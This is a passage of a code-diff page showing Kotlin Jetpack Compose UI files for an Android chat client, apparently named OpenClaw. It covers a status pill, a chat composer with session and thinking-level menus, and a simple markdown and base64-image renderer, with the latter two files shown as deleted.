import androidx.compose.foundation.layout.Spacer
import androidx.compose.foundation.layout.height
import androidx.compose.foundation.layout.padding
import androidx.compose.foundation.layout.size
import androidx.compose.foundation.layout.width
import androidx.compose.foundation.shape.CircleShape
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.filled.Mic
import androidx.compose.material.icons.filled.MicOff
import androidx.compose.material3.Icon
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Surface
import androidx.compose.material3.Text
import androidx.compose.material3.VerticalDivider
import androidx.compose.runtime.Composable
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.draw.alpha
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.unit.dp
@Composable
fun StatusPill(
gateway: GatewayState,
voiceEnabled: Boolean,
onClick: () -> Unit,
modifier: Modifier = Modifier,
activity: StatusActivity? = null,
) {
Surface(
onClick = onClick,
modifier = modifier,
shape = RoundedCornerShape(14.dp),
color = overlayContainerColor(),
tonalElevation = 3.dp,
shadowElevation = 0.dp,
) {
Row(
modifier = Modifier.padding(horizontal = 12.dp, vertical = 8.dp),
horizontalArrangement = Arrangement.spacedBy(10.dp),
verticalAlignment = Alignment.CenterVertically,
) {
Row(horizontalArrangement = Arrangement.spacedBy(8.dp), verticalAlignment = Alignment.CenterVertically) {
Surface(
modifier = Modifier.size(9.dp),
shape = CircleShape,
color = gateway.color,
) {}
Text(
text = gateway.title,
style = MaterialTheme.typography.labelLarge,
)
}
VerticalDivider(
modifier = Modifier.height(14.dp).alpha(0.35f),
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
if (activity != null) {
Row(
horizontalArrangement = Arrangement.spacedBy(6.dp),
verticalAlignment = Alignment.CenterVertically,
) {
Icon(
imageVector = activity.icon,
contentDescription = activity.contentDescription,
tint = activity.tint ?: overlayIconColor(),
modifier = Modifier.size(18.dp),
)
Text(
text = activity.title,
style = MaterialTheme.typography.labelLarge,
maxLines = 1,
)
}
} else {
Icon(
imageVector = if (voiceEnabled) Icons.Default.Mic else Icons.Default.MicOff,
contentDescription = if (voiceEnabled) "Voice enabled" else "Voice disabled",
tint =
if (voiceEnabled) {
overlayIconColor()
} else {
MaterialTheme.colorScheme.onSurfaceVariant
},
modifier = Modifier.size(18.dp),
)
}
Spacer(modifier = Modifier.width(2.dp))
}
}
}
data class StatusActivity(
val title: String,
val icon: androidx.compose.ui.graphics.vector.ImageVector,
val contentDescription: String,
val tint: Color? = null,
)
enum class GatewayState(val title: String, val color: Color) {
Connected("Connected", Color(0xFF2ECC71)),
Connecting("Connecting…", Color(0xFFF1C40F)),
Error("Error", Color(0xFFE74C3C)),
Disconnected("Offline", Color(0xFF9E9E9E)),
}

View File

@@ -1,285 +0,0 @@
package ai.openclaw.android.ui.chat
import androidx.compose.foundation.layout.Arrangement
import androidx.compose.foundation.layout.Box
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.Row
import androidx.compose.foundation.layout.Spacer
import androidx.compose.foundation.layout.fillMaxWidth
import androidx.compose.foundation.layout.padding
import androidx.compose.foundation.layout.size
import androidx.compose.foundation.layout.width
import androidx.compose.foundation.rememberScrollState
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.foundation.horizontalScroll
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.filled.ArrowUpward
import androidx.compose.material.icons.filled.AttachFile
import androidx.compose.material.icons.filled.Refresh
import androidx.compose.material.icons.filled.Stop
import androidx.compose.material3.ButtonDefaults
import androidx.compose.material3.DropdownMenu
import androidx.compose.material3.DropdownMenuItem
import androidx.compose.material3.FilledTonalButton
import androidx.compose.material3.FilledTonalIconButton
import androidx.compose.material3.Icon
import androidx.compose.material3.IconButtonDefaults
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.OutlinedTextField
import androidx.compose.material3.Surface
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.runtime.getValue
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.remember
import androidx.compose.runtime.saveable.rememberSaveable
import androidx.compose.runtime.setValue
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.unit.dp
import ai.openclaw.android.chat.ChatSessionEntry
@Composable
fun ChatComposer(
sessionKey: String,
sessions: List<ChatSessionEntry>,
mainSessionKey: String,
healthOk: Boolean,
thinkingLevel: String,
pendingRunCount: Int,
errorText: String?,
attachments: List<PendingImageAttachment>,
onPickImages: () -> Unit,
onRemoveAttachment: (id: String) -> Unit,
onSetThinkingLevel: (level: String) -> Unit,
onSelectSession: (sessionKey: String) -> Unit,
onRefresh: () -> Unit,
onAbort: () -> Unit,
onSend: (text: String) -> Unit,
) {
var input by rememberSaveable { mutableStateOf("") }
var showThinkingMenu by remember { mutableStateOf(false) }
var showSessionMenu by remember { mutableStateOf(false) }
val sessionOptions = resolveSessionChoices(sessionKey, sessions, mainSessionKey = mainSessionKey)
val currentSessionLabel =
sessionOptions.firstOrNull { it.key == sessionKey }?.displayName ?: sessionKey
val canSend = pendingRunCount == 0 && (input.trim().isNotEmpty() || attachments.isNotEmpty()) && healthOk
Surface(
shape = MaterialTheme.shapes.large,
color = MaterialTheme.colorScheme.surfaceContainer,
tonalElevation = 0.dp,
shadowElevation = 0.dp,
) {
Column(modifier = Modifier.padding(10.dp), verticalArrangement = Arrangement.spacedBy(8.dp)) {
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.spacedBy(8.dp),
verticalAlignment = Alignment.CenterVertically,
) {
Box {
FilledTonalButton(
onClick = { showSessionMenu = true },
contentPadding = ButtonDefaults.ContentPadding,
) {
Text("Session: $currentSessionLabel")
}
DropdownMenu(expanded = showSessionMenu, onDismissRequest = { showSessionMenu = false }) {
for (entry in sessionOptions) {
DropdownMenuItem(
text = { Text(entry.displayName ?: entry.key) },
onClick = {
onSelectSession(entry.key)
showSessionMenu = false
},
trailingIcon = {
if (entry.key == sessionKey) {
Text("")
} else {
Spacer(modifier = Modifier.width(10.dp))
}
},
)
}
}
}
Box {
FilledTonalButton(
onClick = { showThinkingMenu = true },
contentPadding = ButtonDefaults.ContentPadding,
) {
Text("Thinking: ${thinkingLabel(thinkingLevel)}")
}
DropdownMenu(expanded = showThinkingMenu, onDismissRequest = { showThinkingMenu = false }) {
ThinkingMenuItem("off", thinkingLevel, onSetThinkingLevel) { showThinkingMenu = false }
ThinkingMenuItem("low", thinkingLevel, onSetThinkingLevel) { showThinkingMenu = false }
ThinkingMenuItem("medium", thinkingLevel, onSetThinkingLevel) { showThinkingMenu = false }
ThinkingMenuItem("high", thinkingLevel, onSetThinkingLevel) { showThinkingMenu = false }
}
}
Spacer(modifier = Modifier.weight(1f))
FilledTonalIconButton(onClick = onRefresh, modifier = Modifier.size(42.dp)) {
Icon(Icons.Default.Refresh, contentDescription = "Refresh")
}
FilledTonalIconButton(onClick = onPickImages, modifier = Modifier.size(42.dp)) {
Icon(Icons.Default.AttachFile, contentDescription = "Add image")
}
}
if (attachments.isNotEmpty()) {
AttachmentsStrip(attachments = attachments, onRemoveAttachment = onRemoveAttachment)
}
OutlinedTextField(
value = input,
onValueChange = { input = it },
modifier = Modifier.fillMaxWidth(),
placeholder = { Text("Message OpenClaw…") },
minLines = 2,
maxLines = 6,
)
Row(modifier = Modifier.fillMaxWidth(), verticalAlignment = Alignment.CenterVertically) {
ConnectionPill(sessionLabel = currentSessionLabel, healthOk = healthOk)
Spacer(modifier = Modifier.weight(1f))
if (pendingRunCount > 0) {
FilledTonalIconButton(
onClick = onAbort,
colors =
IconButtonDefaults.filledTonalIconButtonColors(
containerColor = Color(0x33E74C3C),
contentColor = Color(0xFFE74C3C),
),
) {
Icon(Icons.Default.Stop, contentDescription = "Abort")
}
} else {
FilledTonalIconButton(onClick = {
val text = input
input = ""
onSend(text)
}, enabled = canSend) {
Icon(Icons.Default.ArrowUpward, contentDescription = "Send")
}
}
}
if (!errorText.isNullOrBlank()) {
Text(
text = errorText,
style = MaterialTheme.typography.bodySmall,
color = MaterialTheme.colorScheme.error,
maxLines = 2,
)
}
}
}
}
@Composable
private fun ConnectionPill(sessionLabel: String, healthOk: Boolean) {
Surface(
shape = RoundedCornerShape(999.dp),
color = MaterialTheme.colorScheme.surfaceContainerHighest,
) {
Row(
modifier = Modifier.padding(horizontal = 10.dp, vertical = 6.dp),
horizontalArrangement = Arrangement.spacedBy(8.dp),
verticalAlignment = Alignment.CenterVertically,
) {
Surface(
modifier = Modifier.size(7.dp),
shape = androidx.compose.foundation.shape.CircleShape,
color = if (healthOk) Color(0xFF2ECC71) else Color(0xFFF39C12),
) {}
Text(sessionLabel, style = MaterialTheme.typography.labelSmall)
Text(
if (healthOk) "Connected" else "Connecting…",
style = MaterialTheme.typography.labelSmall,
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
}
}
}
@Composable
private fun ThinkingMenuItem(
value: String,
current: String,
onSet: (String) -> Unit,
onDismiss: () -> Unit,
) {
DropdownMenuItem(
text = { Text(thinkingLabel(value)) },
onClick = {
onSet(value)
onDismiss()
},
trailingIcon = {
if (value == current.trim().lowercase()) {
Text("")
} else {
Spacer(modifier = Modifier.width(10.dp))
}
},
)
}
private fun thinkingLabel(raw: String): String {
return when (raw.trim().lowercase()) {
"low" -> "Low"
"medium" -> "Medium"
"high" -> "High"
else -> "Off"
}
}
@Composable
private fun AttachmentsStrip(
attachments: List<PendingImageAttachment>,
onRemoveAttachment: (id: String) -> Unit,
) {
Row(
modifier = Modifier.fillMaxWidth().horizontalScroll(rememberScrollState()),
horizontalArrangement = Arrangement.spacedBy(8.dp),
) {
for (att in attachments) {
AttachmentChip(
fileName = att.fileName,
onRemove = { onRemoveAttachment(att.id) },
)
}
}
}
@Composable
private fun AttachmentChip(fileName: String, onRemove: () -> Unit) {
Surface(
shape = RoundedCornerShape(999.dp),
color = MaterialTheme.colorScheme.primary.copy(alpha = 0.10f),
) {
Row(
modifier = Modifier.padding(horizontal = 10.dp, vertical = 6.dp),
verticalAlignment = Alignment.CenterVertically,
horizontalArrangement = Arrangement.spacedBy(8.dp),
) {
Text(text = fileName, style = MaterialTheme.typography.bodySmall, maxLines = 1)
FilledTonalIconButton(
onClick = onRemove,
modifier = Modifier.size(30.dp),
) {
Text("×")
}
}
}
}

View File

@@ -1,215 +0,0 @@
package ai.openclaw.android.ui.chat
import android.graphics.BitmapFactory
import android.util.Base64
import androidx.compose.foundation.Image
import androidx.compose.foundation.layout.Arrangement
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.fillMaxWidth
import androidx.compose.foundation.layout.padding
import androidx.compose.foundation.text.selection.SelectionContainer
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.runtime.LaunchedEffect
import androidx.compose.runtime.getValue
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.remember
import androidx.compose.runtime.setValue
import androidx.compose.ui.Modifier
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.graphics.asImageBitmap
import androidx.compose.ui.layout.ContentScale
import androidx.compose.ui.text.AnnotatedString
import androidx.compose.ui.text.SpanStyle
import androidx.compose.ui.text.buildAnnotatedString
import androidx.compose.ui.text.font.FontFamily
import androidx.compose.ui.text.font.FontStyle
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.text.withStyle
import androidx.compose.ui.unit.dp
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext
@Composable
fun ChatMarkdown(text: String, textColor: Color) {
val blocks = remember(text) { splitMarkdown(text) }
val inlineCodeBg = MaterialTheme.colorScheme.surfaceContainerLow
Column(verticalArrangement = Arrangement.spacedBy(10.dp)) {
for (b in blocks) {
when (b) {
is ChatMarkdownBlock.Text -> {
val trimmed = b.text.trimEnd()
if (trimmed.isEmpty()) continue
Text(
text = parseInlineMarkdown(trimmed, inlineCodeBg = inlineCodeBg),
style = MaterialTheme.typography.bodyMedium,
color = textColor,
)
}
is ChatMarkdownBlock.Code -> {
SelectionContainer(modifier = Modifier.fillMaxWidth()) {
ChatCodeBlock(code = b.code, language = b.language)
}
}
is ChatMarkdownBlock.InlineImage -> {
InlineBase64Image(base64 = b.base64, mimeType = b.mimeType)
}
}
}
}
}
private sealed interface ChatMarkdownBlock {
data class Text(val text: String) : ChatMarkdownBlock
data class Code(val code: String, val language: String?) : ChatMarkdownBlock
data class InlineImage(val mimeType: String?, val base64: String) : ChatMarkdownBlock
}
private fun splitMarkdown(raw: String): List<ChatMarkdownBlock> {
if (raw.isEmpty()) return emptyList()
val out = ArrayList<ChatMarkdownBlock>()
var idx = 0
while (idx < raw.length) {
val fenceStart = raw.indexOf("```", startIndex = idx)
if (fenceStart < 0) {
out.addAll(splitInlineImages(raw.substring(idx)))
break
}
if (fenceStart > idx) {
out.addAll(splitInlineImages(raw.substring(idx, fenceStart)))
}
val langLineStart = fenceStart + 3
val langLineEnd = raw.indexOf('\n', startIndex = langLineStart).let { if (it < 0) raw.length else it }
val language = raw.substring(langLineStart, langLineEnd).trim().ifEmpty { null }
val codeStart = if (langLineEnd < raw.length && raw[langLineEnd] == '\n') langLineEnd + 1 else langLineEnd
val fenceEnd = raw.indexOf("```", startIndex = codeStart)
if (fenceEnd < 0) {
out.addAll(splitInlineImages(raw.substring(fenceStart)))
break
}
val code = raw.substring(codeStart, fenceEnd)
out.add(ChatMarkdownBlock.Code(code = code, language = language))
idx = fenceEnd + 3
}
return out
}
private fun splitInlineImages(text: String): List<ChatMarkdownBlock> {
if (text.isEmpty()) return emptyList()
val regex = Regex("data:image/([a-zA-Z0-9+.-]+);base64,([A-Za-z0-9+/=\\n\\r]+)")
val out = ArrayList<ChatMarkdownBlock>()
var idx = 0
while (idx < text.length) {
val m = regex.find(text, startIndex = idx) ?: break
val start = m.range.first
val end = m.range.last + 1
if (start > idx) out.add(ChatMarkdownBlock.Text(text.substring(idx, start)))
val mime = "image/" + (m.groupValues.getOrNull(1)?.trim()?.ifEmpty { "png" } ?: "png")
val b64 = m.groupValues.getOrNull(2)?.replace("\n", "")?.replace("\r", "")?.trim().orEmpty()
if (b64.isNotEmpty()) {
out.add(ChatMarkdownBlock.InlineImage(mimeType = mime, base64 = b64))
}
idx = end
}
if (idx < text.length) out.add(ChatMarkdownBlock.Text(text.substring(idx)))
return out
}
private fun parseInlineMarkdown(text: String, inlineCodeBg: androidx.compose.ui.graphics.Color): AnnotatedString {
if (text.isEmpty()) return AnnotatedString("")
val out = buildAnnotatedString {
var i = 0
while (i < text.length) {
if (text.startsWith("**", startIndex = i)) {
val end = text.indexOf("**", startIndex = i + 2)
if (end > i + 2) {
withStyle(SpanStyle(fontWeight = FontWeight.SemiBold)) {
append(text.substring(i + 2, end))
}
i = end + 2
continue
}
}
if (text[i] == '`') {
val end = text.indexOf('`', startIndex = i + 1)
if (end > i + 1) {
withStyle(
SpanStyle(
fontFamily = FontFamily.Monospace,
background = inlineCodeBg,
),
) {
append(text.substring(i + 1, end))
}
i = end + 1
continue
}
}
if (text[i] == '*' && (i + 1 < text.length && text[i + 1] != '*')) {
val end = text.indexOf('*', startIndex = i + 1)
if (end > i + 1) {
withStyle(SpanStyle(fontStyle = FontStyle.Italic)) {
append(text.substring(i + 1, end))
}
i = end + 1
continue
}
}
append(text[i])
i += 1
}
}
return out
}
@Composable
private fun InlineBase64Image(base64: String, mimeType: String?) {
var image by remember(base64) { mutableStateOf<androidx.compose.ui.graphics.ImageBitmap?>(null) }
var failed by remember(base64) { mutableStateOf(false) }
LaunchedEffect(base64) {
failed = false
image =
withContext(Dispatchers.Default) {
try {
val bytes = Base64.decode(base64, Base64.DEFAULT)
val bitmap = BitmapFactory.decodeByteArray(bytes, 0, bytes.size) ?: return@withContext null
bitmap.asImageBitmap()
} catch (_: Throwable) {
null
}
}
if (image == null) failed = true
}
if (image != null) {
Image(
bitmap = image!!,
contentDescription = mimeType ?: "image",
contentScale = ContentScale.Fit,
modifier = Modifier.fillMaxWidth(),
)
} else if (failed) {
Text(
text = "Image unavailable",
modifier = Modifier.padding(vertical = 2.dp),
style = MaterialTheme.typography.bodySmall,
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
}
}

Some files were not shown because too many files have changed in this diff Show More